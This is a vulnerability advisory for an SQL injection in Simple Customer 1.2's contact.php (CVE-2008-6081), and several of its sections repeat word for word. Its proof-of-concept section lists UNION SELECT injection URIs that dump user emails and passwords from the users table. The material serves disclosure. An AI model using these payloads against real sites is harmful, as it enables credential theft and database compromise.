Simple Customer 'contact.php' SQL Injection Vulnerability
BID:28852
Info
Simple Customer 'contact.php' SQL Injection Vulnerability
| Bugtraq ID: | 28852 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6081 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 18 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | t0pP8uZz |
| Vulnerable: |
Simple Customer Simple Customer 1.2 |
| Not Vulnerable: | |
Discussion
Simple Customer 'contact.php' SQL Injection Vulnerability
Simple Customer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Simple Customer 1.2 is vulnerable; other versions may also be affected.
Simple Customer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Simple Customer 1.2 is vulnerable; other versions may also be affected.
Exploit / POC
Simple Customer 'contact.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/*
http://www.example.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/*
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/*
http://www.example.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/*
Solution / Fix
Simple Customer 'contact.php' SQL Injection Vulnerability
Solution:
A vendor update is available. Contact the vendor for details on obtaining and applying the appropriate updates.
Solution:
A vendor update is available. Contact the vendor for details on obtaining and applying the appropriate updates.
References
Simple Customer 'contact.php' SQL Injection Vulnerability
References:
References:
- Simple Customer Homepage (Simple Customer)